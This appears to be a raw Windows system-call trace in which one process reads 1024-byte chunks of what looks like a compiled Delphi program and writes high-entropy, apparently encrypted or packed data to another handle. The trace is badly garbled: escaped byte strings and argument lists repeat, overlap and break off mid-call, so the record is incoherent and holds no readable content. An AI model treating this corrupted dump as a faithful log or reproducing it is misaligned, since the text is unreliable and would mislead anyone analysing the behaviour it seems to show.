~`\370\276Q\314O\341O+\35\323\370_\363`\25\0\30'c?LY4\21F\32\322\254zokoB\276:\4s\335_\317\201;\3559\355\267\34\216\322\\243\256\37\254\325&<\252\235\36\275\370{\347\320\352\355\215\22\211/UD\345\231vQ=\213#g\23e\355\320\13+]C3<\347\210\340\207`sv\3709\272^w\322\20\363\350\366\247\243\324"\377\6\311\264\312\263+\200N\257\257\304v\211\5\366\247\375\223\301.\222\230a\377*B\204W>$D\357\233\336\241g{6\227:lX\311v\177\365B\342\242\331$\317D\201-5Y\323\314O\226\314\12\256:\277XAXu\14\206\3434x)\372\276\2623\15\221\216M3v\261\227z\336\274\334\352k"A\375\22\317\216\257jMwf\2576%W_.\335\25bM59RB\323\365\26\243\202j"\261\240"T\324\247\207u\232s\273\247{\361t\16\273=*[T"tZ\221\217C\261_9\341@\365\261@\3067\366h\13~\270!,\226db\270,\210\274\326\364C\341\210\24[\301/\3\314\265\22hZ\211\230\310\24\347\377h\215S\230R\365\242\346B`.\262\344\345\312n\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \261\240250\5l\6\336\227E (92, 0, 0, 0, "\24\35\37\310\201\367\230u\303&\250G\312\255\3260\233\203\20\364\362!;\200\4Qvx\206\235d\23B\32]\310\357\220c\363)\227\375z\341,1(E\3\346Ct\5\267\372\330\322\311\204d\355\3060|\242\2\247\220\344\301\317\301\7\7UT\14;\3155$\217g\337\351\254\241\2+\263\253\276J\272\303\245\311\321\21\343p6{\374\\343\11\214F\362\254\3729~\351\336I\343\30\254\207q\322\213\31\356\246\243Z\227\177\177\317\242I\320@6=\177'\217a\6\225\354\3002\340\374\211\23M\344\251* ~`\370\276Q\314O\341O+\35\323\370_\363`\25\0\30'c?LY4\21F\32\322\254zokoB\276:\4s\335_\317\201;\3559\355\267\34\216\322\\243\256\37\254\325&<\252\235\36\275\370{\347\320\352\355\215\22\211/UD\345\231vQ=\213#g\23e\355\320\13+]C3<\347\210\340\207`sv\3709\272^w\322\20\363\350\366\247\243\324"\377\6\311\264\312\263+\200N\257\257\304v\211\5\366\247\375\223\301.\222\230a\377*B\204W>$D\357\233\336\241g{6\227:lX\311v\177\365B\342\242\331$\317D\201-5Y\323\314O\226\314\12\256:\277XAXu\14\206\3434x)\372\276\2623\15\221\216M3v\261\227z\336\274\334\352k"A\375\22\317\216\257jMwf\2576%W_.\335\25bM59RB\323\365\26\243\202j"\261\240"T\324\247\207u\232s\273\247{\361t\16\273=*[T"tZ\221\217C\261_9\341@\365\261@\3067\366h\13~\270!,\226db\270,\210\274\326\364C\341\210\24[\301/\3\314\265\22hZ\211\230\310\24\347\377h\215S\230R\365\242\346B`.\262\344\345\312n\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) tZ\221\217C\261_9\341@\365\261@\3067\366h\13~\270!,\226db\270,\210\274\326\364C\341\210\24[\301/\3\314\265\22hZ\211\230\310\24\347\377h\215S\230R\365\242\346B`.\262\344\345\312n\276", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00984  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0t\7\270\1@\0\200\353\27\17\267E\30P\17\267E\24P\213E\14P\213E\10P\350\316\377\377\377]\302\24\0\213\300U\213\354\270\1@\0\200]\302\10\0U\213\354\270\1@\0\200]\302\14\0U\213\354\270\1@\0\200]\302\20\0U\213\354j\0S3\300Uh\246\316\0@d\3770d\211 \201}\14\0\4\0\0t\7\273\1@\0\200\353 \215E\374\213U\10\350\221|\377\377\213E\374\213U\24\350f\257\377\377\203\340\177\213\34\205\10\252\1@3\300ZYYd\211\20h\255\316\0@\215E\374\350\337y\377\377\303\351Ys\377\377\353\360\213\303[Y]\302\20\0\215@\0U\213\354j\0S3\300Uh\22\317\0@d\3770d\211 \201}\14\0\4\0\0t\7\273\1@\0\200\353 \215E\374\213U\10\350%|\377\377\213E\374\213U\24\350\312\277\377\377\203\340\177\213\34\205\10\252\1@3\300ZYYd\211\20h\31\317\0@\215E\374\350sy\377\377\303\351\355r\377\377\353\360\213\303[Y]\302\20\0\215@\0U\213\354j\0S3\300Uh~\317\0@d\3770d\211 \201}\14\0\4\0\0t\7\273\1@\0\200\353 \215E\374\213U\10\350\271{\377\377\213E\374\213U\24\3502\277\377\377\203\340\177\213\34\205\10\252\1@3\300ZYYd\211\20h\205\317\0@\215E\374\350\7y\377\377\303\351\201r\377\377\353\360\213\303[Y]\302\20\0\215@\0U\213\354j\0S3\300Uh\352\317\0@d\3770d\211 \201}\14\0\4\0\0t\7\273\1@\0\200\353 \215E\374\213U\10\350M{\377\377\213E\374\213U\24\350\266\327\377\377\203\340\177\213\34\205\10\252\1@3\300ZYYd\211\20h\361\317\0@\215E\374\350\233x\377\377\303\351\25r\377\377\353\360\213\303[", ) , ) == 0x0
 00985  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\13`0U#\202\364"*a\30\354\17\266:\6\1\13,9!"\10+hJe\321I\312\230\220[\315\315=\267\7aiW\317\254\177xcK\374\242\256\261]\274>\373cT\275\3\246\256[\367\310\243\325\303}\230\3059\340g\242,Z\22 \346^\356B\5\306\232\202\261g\277\2579\313\315\344\234\207\15.c\225\230\4: \223\366]M\356R\263\11",/\350'3P\204^\204\361\337\303\243\323L\360\332\302'L\22\256\366\356f\234\237\2502\272\20\233\264\232\310;\326\31\272Z\353\17\325.\31230\354\17\266:\6\1\13,9! (92, 0, 0, 0, "\13`0U#\202\364"*a\30\354\17\266:\6\1\13,9!"\10+hJe\321I\312\230\220[\315\315=\267\7aiW\317\254\177xcK\374\242\256\261]\274>\373cT\275\3\246\256[\367\310\243\325\303}\230\3059\340g\242,Z\22 \346^\356B\5\306\232\202\261g\277\2579\313\315\344\234\207\15.c\225\230\4: \223\366]M\356R\263\11",/\350'3P\204^\204\361\337\303\243\323L\360\332\302'L\22\256\366\356f\234\237\2502\272\20\233\264\232\310;\326\31\272Z\353\17\325.\312350'3P\204^\204\361\337\303\243\323L\360\332\302'L\22\256\366\356f\234\237\2502\272\20\233\264\232\310;\326\31\272Z\353\17\325.\312214\312.`\227\\14\363X\373\310\261\331\15^&jG\203y\214vnD\310\200N\346\331\322\273\203\277\375x\33\353C\224\34\5\317`\2\320\23\13/1\13\365\317*\204)Fa6\26\370\307\332sok\361\314#\0\25[\23\354\71t}\245\261\204\335\340M\263\256t\361q\261{*u\276U\264\313KD\275\215\0\341\257\251hP\216\350I\33\330\321kq\334\203\227t\364\247\207\256\36\310\346\337&\16\3136\356\222.\341\272\336eVC^\22\253\33\01\235\376\314\330\365\351\307b\236j.p\312\200g\32\16p\2118\204\363\376%\22\300\24\235N\327\373\35\213\33e\335\321p\22\30\315\266]&\351\235xP:\204\23|\261}X\14 GI\230\304d6\260\232\257\236\240\2620r\273\3743\346{\350\321/\303\216t\376\306\374\355\305\200\5\220\275&\352\23b\261t\3165[\262O\206\274f\226\366\325\303?JM\14\244\237\206mk{\276\303t\13'\374\330\217x\366\363\327\377\251/\235oD\11s\361\317\237\303\21\205}J\363\363o=\364\263\255vi@/\262\2b\276(sS\211\27\364\11\371\255o\361\221+}\225V\376\36Y\226\253\23!\323\275B8G\353", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00986  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\33\300@\215M\3743\322\350\317\255\377\377\213U\374\213E\24\350@\177\377\3773\3333\300ZYYd\211\20h7\322\0@\215E\374\350Uv\377\377\303\351\317o\377\377\353\360\213\303[Y]\302\20\0\220\377%PF\2@\213\300\377%LF\2@\213\300\377%HF\2@\213\300\377%DF\2@\213\300U\213\354S\213\332\213\323\213M\10\203y\374\0t\25P\213E\10\213@\374P\350*\223\377\377\213\320\205\322u\2\213\323\213\302[]\303\220U\213\354Qh\204\324\0@\350\6\223\377\377\211E\374U\272\370\315\0@\270\224\324\0@\350\263\377\377\377Y\243(\362\1@U\272(\316\0@\270\250\324\0@\350\235\377\377\377Y\243,\362\1@U\272(\316\0@\270\260\324\0@\350\207\377\377\377Y\2430\362\1@U\2724\316\0@\270\270\324\0@\350q\377\377\377Y\2434\362\1@U\2724\316\0@\270\300\324\0@\350[\377\377\377Y\2438\362\1@U\2724\316\0@\270\310\324\0@\350E\377\377\377Y\243<\362\1@U\2724\316\0@\270\320\324\0@\350/\377\377\377Y\243@\362\1@U\2724\316\0@\270\330\324\0@\350\31\377\377\377Y\243D\362\1@U\2724\316\0@\270\340\324\0@\350\3\377\377\377Y\243H\362\1@U\2724\316\0@\270\350\324\0@\350\355\376\377\377Y\243L\362\1@U\2724\316\0@\270\360\324\0@\350\327\376\377\377Y\243P\362\1@U\2724\316\0@\270\370\324\0@\350\301\376\377\377Y\243T\362\1@U\272@\316\0@\270\0\325\0@\350\253\376\377\377Y\243X\362\1@U\272L\316\0@\270\10\325\0@\350\225\376\377\377Y\243\\362\1@U\272\270\316\0@\270\30\325\0@\350\177\376\377\377Y\243`\362\1@U\272$\317\0@\270(\325\0@\350i", ) , ) == 0x0
 00987  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "4\370\35s\21\226\241=\224N\275G\17\237\35v\16\20G\361F\220\223~\20\3529<7:"\216\254\334\301\242'\2278\310\243\234\215\330F*\251\25Y\230\0\316d\210a\354\254;\300K\263Z\2\20aX;\256\313\300\2306\250*`C.\310\260,\244\206b7\20\334\321\12X\10W;\317Gg\246\334\324%\365\312Y\200A\244\376\201\25\2\227G\24X4X\225\300P\355\213\267K\34H\237\270j\354\33\353l\271_\210\315\22\222\26\341\317<\347\247f\305s1\270\305\16\253[=\267\273o\252\373\202\250\277gGc\216\214\22495\2138U\207!\15O\257\254\25591\273x\256\262\271N\0\370\230\23\243\240gD\1\355\270v\252\277\327S\17\177\3Y\14\346|g\341c\254\347\245\276&\236\35\347\375=\262\250\365M\225\202\33\363\243\344\362V\237\374PV\217@y\364\341\11\15\244\2711\234[\272f\255\32\16\12\302\224\353\315#\22\236R\14d\337\355\\12\370\332\222S\262\211\240?\236y\274'\237\212\206\12\214\324\317\355Q\261\307\5\2c\365\3171\317\201)\276\240\341\34\315F\322'\2500\203\222=\265\240u\322;\357\320\11\376\235\330k\243\353K\226\2117\377\373-\273\25\\\220\276\242\27j\323/\26\6@OO\353V\34\206\352\\4v\342\277\244v\30\3068\223\310\245\201\244h\302\273<\323xh\201%2\230\261\357\2317\235\205\201\226i\351\23\327\342Q~\366@\345\322' nG\374\202\250W\266\20e\14k\301\12\301\24[\335\243,\251\220\2736\316$\2\10"\205\356\300\345X\262\375\310\13\274\256\20x\240 F\325\250\211\22\212\\270\204\250\220\262i\32\362F\256.\343\342\334\0\37\233\213\336\212\314\350\325R.\27\22\276\236\31\201\0\362\255\364\324\271\204\367\350$\14\332\261", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \216\254\334\301\242'\2278\310\243\234\215\330F*\251\25Y\230\0\316d\210a\354\254;\300K\263Z\2\20aX;\256\313\300\2306\250*`C.\310\260,\244\206b7\20\334\321\12X\10W;\317Gg\246\334\324%\365\312Y\200A\244\376\201\25\2\227G\24X4X\225\300P\355\213\267K\34H\237\270j\354\33\353l\271_\210\315\22\222\26\341\317<\347\247f\305s1\270\305\16\253[=\267\273o\252\373\202\250\277gGc\216\214\22495\2138U\207!\15O\257\254\25591\273x\256\262\271N\0\370\230\23\243\240gD\1\355\270v\252\277\327S\17\177\3Y\14\346|g\341c\254\347\245\276&\236\35\347\375=\262\250\365M\225\202\33\363\243\344\362V\237\374PV\217@y\364\341\11\15\244\2711\234[\272f\255\32\16\12\302\224\353\315#\22\236R\14d\337\355\\12\370\332\222S\262\211\240?\236y\274'\237\212\206\12\214\324\317\355Q\261\307\5\2c\365\3171\317\201)\276\240\341\34\315F\322'\2500\203\222=\265\240u\322;\357\320\11\376\235\330k\243\353K\226\2117\377\373-\273\25\\\220\276\242\27j\323/\26\6@OO\353V\34\206\352\\4v\342\277\244v\30\3068\223\310\245\201\244h\302\273<\323xh\201%2\230\261\357\2317\235\205\201\226i\351\23\327\342Q~\366@\345\322' nG\374\202\250W\266\20e\14k\301\12\301\24[\335\243,\251\220\2736\316$\2\10 (92, 0, 0, 0, "4\370\35s\21\226\241=\224N\275G\17\237\35v\16\20G\361F\220\223~\20\3529<7:"\216\254\334\301\242'\2278\310\243\234\215\330F*\251\25Y\230\0\316d\210a\354\254;\300K\263Z\2\20aX;\256\313\300\2306\250*`C.\310\260,\244\206b7\20\334\321\12X\10W;\317Gg\246\334\324%\365\312Y\200A\244\376\201\25\2\227G\24X4X\225\300P\355\213\267K\34H\237\270j\354\33\353l\271_\210\315\22\222\26\341\317<\347\247f\305s1\270\305\16\253[=\267\273o\252\373\202\250\277gGc\216\214\22495\2138U\207!\15O\257\254\25591\273x\256\262\271N\0\370\230\23\243\240gD\1\355\270v\252\277\327S\17\177\3Y\14\346|g\341c\254\347\245\276&\236\35\347\375=\262\250\365M\225\202\33\363\243\344\362V\237\374PV\217@y\364\341\11\15\244\2711\234[\272f\255\32\16\12\302\224\353\315#\22\236R\14d\337\355\\12\370\332\222S\262\211\240?\236y\274'\237\212\206\12\214\324\317\355Q\261\307\5\2c\365\3171\317\201)\276\240\341\34\315F\322'\2500\203\222=\265\240u\322;\357\320\11\376\235\330k\243\353K\226\2117\377\373-\273\25\\\220\276\242\27j\323/\26\6@OO\353V\34\206\352\\4v\342\277\244v\30\3068\223\310\245\201\244h\302\273<\323xh\201%2\230\261\357\2317\235\205\201\226i\351\23\327\342Q~\366@\345\322' nG\374\202\250W\266\20e\14k\301\12\301\24[\335\243,\251\220\2736\316$\2\10"\205\356\300\345X\262\375\310\13\274\256\20x\240 F\325\250\211\22\212\\270\204\250\220\262i\32\362F\256.\343\342\334\0\37\233\213\336\212\314\350\325R.\27\22\276\236\31\201\0\362\255\364\324\271\204\367\350$\14\332\261", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00988  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\300\0\0\0\0\0\0F\352\325\0@\10\0\0\0\0\0\0\0\213\300d\326\0@\366\325\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\240\326\0@\14\0\0\0\34\20\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@l,\1@p-\1@\374,\1@0-\1@\20-\1@L-\1@\370,\1@l+\1@\244+\1@0,\1@\2640\0@\2640\0@`+\1@D-\1@\370+\1@\354+\1@\22TCustomVariantType\220\270\326\0@\7\22TCustomVariantTyped\326\0@p\20\0@\0\0\10Variants\0\0\215@\00\327\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\00\327\0@\14\0\0\0\254u\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\26EVariantInvalidOpError\220\224\327\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\224\327\0@\14\0\0\0\254u\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\25EVariantTypeCastError\213\300\370\327\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\327\0@\14\0\0\0\254u\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@", ) , ) == 0x0
 00989  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "A\334\375Uc\7Q\264\327\354k\362\270\335\344\272Rq\2635)\330\245\30\4Z\245\12\7\332hS\320#5\232\263\332\210\264\323\253\1\374F\322\36V\344\306j6\230IU_\364x4X\265\264\214\235\233q\245\353\372MGY;\257T\255\316\214\341l\311\11/\307\350rm8\242\331\27\202{\33<\375\237\222\346\205F\362\275~\340U\373\317\242'I\241\304\327\27\347A\376\212\314g\270`H\205\0\336\3377;\246n\342\15\303^\225\177\212\311?=O\206\274\325\273i\356/\364\2155\321\246\353nX\201\25s,\210\343B\21\2120\370-\237^\306/kN\203\6\34\303\355'`u\34\353\5\326YQs\245\240\374_r\325\263\6\371`\362\223\34\214b\257F\3518\317\333kV+\332\206\26\16\363/\314L\246\351\356\271\362\33\0\261\26+\213;\231.i\256\352\26$\223\324\267\364\346H\2049_@AQq\302\231\320`\254A\1\275p\227\14+\321\374e\274z\226\302\320\375\306\362\256\267R\3546[5\210\204\254dyE\227\211\10OAc\223g\233\342X\233\3072n\253\244\263\230\20!\212\347\247\374\361\254WG04*\225\324\232!\234\325\371;v\366\274\367\255\366\\336\205\232\\303\255ca\12+\240\16\260\215\356\365\213\11WSC\310\270\334;\3004H\205\377\216\201\302\35W\223\244\216\276GNn\2\330\242I\205\367{e\315\345\10\325\11\306\0\321\202M\330\364\275\347\10\323\275E\272\375e\15\215`\313X\313\305\351D\7\340(C\24\274+\356?\251\341\344+X\265xO\200\275<\330\3346\370X"\375\34\273\220S(\37\256\306\375\34057\236\375\314xbA\274}@\214\220:\342\211\244\352+\253?\231\356\320p\247\262\237I3v\266\3\25\31\350\321I\3741\360\354E\37>", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \375\34\273\220S(\37\256\306\375\34057\236\375\314xbA\274}@\214\220:\342\211\244\352+\253?\231\356\320p\247\262\237I3v\266\3\25\31\350\321I\3741\360\354E\37>", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00990  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "eateError\215@\0X\332\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0X\332\0@\14\0\0\0\254u\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\24EVariantNotImplError\215@\0\274\332\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\274\332\0@\14\0\0\0\254u\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\30EVariantOutOfMemoryError\215@\0$\333\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$\333\0@\14\0\0\0\254u\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\27EVariantUnexpectedError\210\333\0@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\210\333\0@\14\0\0\0\254u\0@\364>\0@\0?\0@\4?\0@\10?\0@\374>\0@\200<\0@\234<\0@\330<\0@\25EVariantDispatchError\213\300U\213\354j\03\300Uh\352\333\0@d\3770d\211 \215U\374\241\324\257\1@\3500\207\377\377\213M\374\262\1\241H\327\0@\350a\324\377\377\350\20g\377\3773\300ZYYd\211\20h\361\333\0@\215E\374\350\233l\377\377\303\351\25f\377\377\353\360Y]\303", ) , ) == 0x0
 00991  1356   NtWriteFile  (92, 0, 0, 0, " (92, 0, 0, 0, ""\307\240\204A\220c~\347l\301\366\255\214\307w\251\3703\377Xt\373\327i\315\242\314Q"\361\4\5R\217\20\321I\0\312\13\252\6\243q\350Q1\23\314\304E\345\322\322\215\12\354\234\312\375\251\317\230\323\0r\224_\225\263/\227\271\321\3\277\266\254y\376*\21\275\231\334d\252\30f\21\360_$\263\0D\255D\33\264\330\344\366\203\234\230h\230n\6\255\17\24\243\205\374\352\344 4\264:\230\331]+^\205\35:C4\2743\270\267R\363%eQ;)\360\255\326{,\31\303T\23\366U\272\330H+\6\344<\363\253PKM\361\223\343X?\235\215z\247\250N\364\16\220F\210\201=\205Z*\317\363-\333\31a\346\312 {9\347\244\261\327\\237\273\303v\200\375x2\210\357\254\231+\374\215\324 \34(\360\323\337\37\20\4\323f\304|6\0\342\345\371\257\257\255V\304\366nW4\211(\30\203a\335\37371\237\234E\334\346j\272\352m\267\276\221\200\330\271j_`G4\201|\177\300\364\247\267\32\365\265z\220\24N\337\353\3439\216\21k\314\315S\4\214\364]W\330\26\345HH\313\267\231\252)\205\35\351k\212\275\4+\244w\312\316!\23\204\236 \252\232\310\262X\301F\373l\20\25\21\32\316H\231\310\354eO\260t^\215h\256\311\66(\14\256|;'\203>\346)\32\354t\326\227\2365\222\321\235t\37\325- \23\244]\260a\275+\372\316\230\356+\254?W\261\303\257=.\246\7\224QtLQ\333\344\200\205\37Tf\7\213\371\271\243d\274\2\236\2034\352\12&\233#[)y\301=\273Rx\250\245\322I1\327\365\342e\230]\243\201\341\352\303X\237\17\251\370\222/+\216\204\333\376\225\345\217\266:\6\335@\23H\245z\374=\324\203\213\366\4\371\372A\211j!", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \361\4\5R\217\20\321I\0\312\13\252\6\243q\350Q1\23\314\304E\345\322\322\215\12\354\234\312\375\251\317\230\323\0r\224_\225\263/\227\271\321\3\277\266\254y\376*\21\275\231\334d\252\30f\21\360_$\263\0D\255D\33\264\330\344\366\203\234\230h\230n\6\255\17\24\243\205\374\352\344 4\264:\230\331]+^\205\35:C4\2743\270\267R\363%eQ;)\360\255\326{,\31\303T\23\366U\272\330H+\6\344<\363\253PKM\361\223\343X?\235\215z\247\250N\364\16\220F\210\201=\205Z*\317\363-\333\31a\346\312 {9\347\244\261\327\\237\273\303v\200\375x2\210\357\254\231+\374\215\324 \34(\360\323\337\37\20\4\323f\304|6\0\342\345\371\257\257\255V\304\366nW4\211(\30\203a\335\37371\237\234E\334\346j\272\352m\267\276\221\200\330\271j_`G4\201|\177\300\364\247\267\32\365\265z\220\24N\337\353\3439\216\21k\314\315S\4\214\364]W\330\26\345HH\313\267\231\252)\205\35\351k\212\275\4+\244w\312\316!\23\204\236 \252\232\310\262X\301F\373l\20\25\21\32\316H\231\310\354eO\260t^\215h\256\311\66(\14\256|;'\203>\346)\32\354t\326\227\2365\222\321\235t\37\325- \23\244]\260a\275+\372\316\230\356+\254?W\261\303\257=.\246\7\224QtLQ\333\344\200\205\37Tf\7\213\371\271\243d\274\2\236\2034\352\12&\233#[)y\301=\273Rx\250\245\322I1\327\365\342e\230]\243\201\341\352\303X\237\17\251\370\222/+\216\204\333\376\225\345\217\266:\6\335@\23H\245z\374=\324\203\213\366\4\371\372A\211j!", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00992  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0=\5\0\2\200\177\35tW-\1@\0\200\17\204\370\0\0\0-\376\277\0\0\17\204\\1\0\0\351z\1\0\0-\10\0\2\200t?Htb\351k\1\0\0-\13\0\2\200\17\204\202\0\0\0\203\350\2\17\204\237\0\0\0-\1\0\5\0\17\204\340\0\0\0\203\350I\17\204\375\0\0\0\351>\1\0\0\3508\375\377\377\351\204\1\0\0\215U\374\241\220\260\1@\350v\204\377\377\213M\374\262\1\241t\330\0@\350\247\321\377\377\350Vd\377\377\351^\1\0\0\350\370\375\377\377\351T\1\0\0\215U\370\241\0\257\1@\350F\204\377\377\213M\370\262\1\241\254\327\0@\350w\321\377\377\350&d\377\377\351.\1\0\0\215U\364\241P\260\1@\350 \204\377\377\213M\364\262\1\241\330\330\0@\350Q\321\377\377\350\0d\377\377\351\10\1\0\0\215U\360\241\300\260\1@\350\372\203\377\377\213M\360\262\1\241<\331\0@\350+\321\377\377\350\332c\377\377\351\342\0\0\0\215U\354\241\364\257\1@\350\324\203\377\377\213M\354\262\1\241\14\332\0@\350\5\321\377\377\350\264c\377\377\351\274\0\0\0\215U\350\241,\257\1@\350\256\203\377\377\213M\350\262\1\241p\332\0@\350\337\320\377\377\350\216c\377\377\351\226\0\0\0\215U\344\241D\257\1@\350\210\203\377\377\213M\344\262\1\241\20\330\0@\350\271\320\377\377\350hc\377\377\353s\215U\340\241\374\256\1@\350e\203\377\377\213M\340\262\1\241\330\332\0@\350\226\320\377\377\350Ec\377\377\353P\241\234\260\1@\213\0\211E\310\306E\314\13\211]\320\306E\324\0\215U\304\213\303\350\\310\377\377\213E\304\211E\330\306E\334\13\215E\310Pj\2\215U\300\241\230\257\1@\350\23\203\377\377\213M\300\262\1\241\254u\0@\350\200\320\377\377\350\363b\377\3773\300Z", ) , ) == 0x0
 00993  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "/\310\22_\325\37Y\215\267\360CN\265\22\342\235\233\256]\35\200\215\220z'\337\235\371\204\340\2\254\320\306u\177]\356\224\32w\236M\3300\242X]\345\334\331\351\213Q\30\34\375M2\3301\326\356\232*\277\312M\302\320\312\253r.Di0\365\11\2130\220\246Z\271%\247\333\355\270\305\0\222uh\247\1\363>\334Q\210\230\201\261\334c,\330y\253\260v\363>!\25B\325\227xk\331\35\313\333\215\204Z@\354\267c\210\321\273_U\360\356K\373I\350\37\330\343P\240gJ\245\343r\301\361 \275\313O\226z\316tOI\3776\274\354\322$\15\367\237\367\0\350\177y\323z\215\372v\263\354oleA[.h@\311 \331\3\321\0=\262Z\250\7\233h\263\254\255\255\327,\277\252\370E\273\323V\261bd\224F\324\271\345k\205\234\367\262\324\20\250\202\347\367\220\245PY\315\3371\317\3}\10,\241VR\35\1B\342>\312\26\326\214\344\242Hf\244\227\16\17\4\\217F`vsk\6=\250\15\240\303+\301\277\201\300e`\31\334\6\37\230\314\255m\372\270;*|7\277r\233\0#[\3338\10\327B\236,_\317\34\246o\11\2\15eM\364qOyJ\201\278\31\35+}\201\200;&\34\0\2767\227\204|\276/G-\312\356Pe*\213\241\333\321\330\14\222s\247, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 00994  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\7\200\350 \376\377\377\213\205\374\374\377\377\17\267\0\213\320f\201\342\377\17f\203\372\14\17\205"\1\0\0\213\225\374\374\377\377\366\304@t\23\213\205\374\374\377\377\213@\10\213\0\211\205\370\374\377\377\353\17\213\205\374\374\377\377\213@\10\211\205\370\374\377\377\213\205\370\374\377\377\17\267\0\211\205\360\374\377\377\213\235\360\374\377\377K\205\333|kC3\377\215\265\0\375\377\377\213\306\211\205\350\374\377\377\213\205\350\374\377\377\203\300\4P\215G\1P\213\205\370\374\377\377P\350\264\357\377\377\350\217\375\377\377\215\205\364\374\377\377P\215G\1P\213\205\370\374\377\377P\350\240\357\377\377\350s\375\377\377\213\205\350\374\377\377\213\225\364\374\377\377+P\4B\213\205\350\374\377\377\211\20G\203\306\10Ku\236\213\235\360\374\377\377K\205\333|\32C\215\205\4\375\377\377\215\225\0\377\377\377\213\10\211\12\203\302\4\203\300\10Ku\363U\213\235\360\374\377\377K\213\303\350L\376\377\377Y\204\300t*\215\205\354\374\377\377P\215\205\0\377\377\377P\213\205\370\374\377\377P\3501\357\377\377\350\374\374\377\377\213\205\354\374\377\377\350\241\0\0\0U\213\303\350E\376\377\377Y\204\300u\265\213\205\374\374\377\377P\350\220\352\377\377\350\323\374\377\377_^[\213\345]\303SVQ\213\330\17\2673f\203\376\24s\15S\350p\352\377\377\350\263\374\377\377\353\f\201\376\0\1u\17f\307\3\0\0\215C\10\350\371d\377\377\353Ff\201\376\1\1u\12\213\303\377\25\230\362\1@\3535f\367\306\0 t\11\213\303\3504\376\377\377\353%\213\324\213\306\350\341I\0\0\204\300t\14\213\323\213\4$\213\10\377Q$\353\14S\350\23\352\377\377S\350\5\352\377\377Z^[\303\220f\367\0\350\277u\6f\307\0\0\0\303\350r\377\377\377\303\220P\350\346\377\377\377X\303", ) \1\0\0\213\225\374\374\377\377\366\304@t\23\213\205\374\374\377\377\213@\10\213\0\211\205\370\374\377\377\353\17\213\205\374\374\377\377\213@\10\211\205\370\374\377\377\213\205\370\374\377\377\17\267\0\211\205\360\374\377\377\213\235\360\374\377\377K\205\333|kC3\377\215\265\0\375\377\377\213\306\211\205\350\374\377\377\213\205\350\374\377\377\203\300\4P\215G\1P\213\205\370\374\377\377P\350\264\357\377\377\350\217\375\377\377\215\205\364\374\377\377P\215G\1P\213\205\370\374\377\377P\350\240\357\377\377\350s\375\377\377\213\205\350\374\377\377\213\225\364\374\377\377+P\4B\213\205\350\374\377\377\211\20G\203\306\10Ku\236\213\235\360\374\377\377K\205\333|\32C\215\205\4\375\377\377\215\225\0\377\377\377\213\10\211\12\203\302\4\203\300\10Ku\363U\213\235\360\374\377\377K\213\303\350L\376\377\377Y\204\300t*\215\205\354\374\377\377P\215\205\0\377\377\377P\213\205\370\374\377\377P\3501\357\377\377\350\374\374\377\377\213\205\354\374\377\377\350\241\0\0\0U\213\303\350E\376\377\377Y\204\300u\265\213\205\374\374\377\377P\350\220\352\377\377\350\323\374\377\377_^[\213\345]\303SVQ\213\330\17\2673f\203\376\24s\15S\350p\352\377\377\350\263\374\377\377\353\f\201\376\0\1u\17f\307\3\0\0\215C\10\350\371d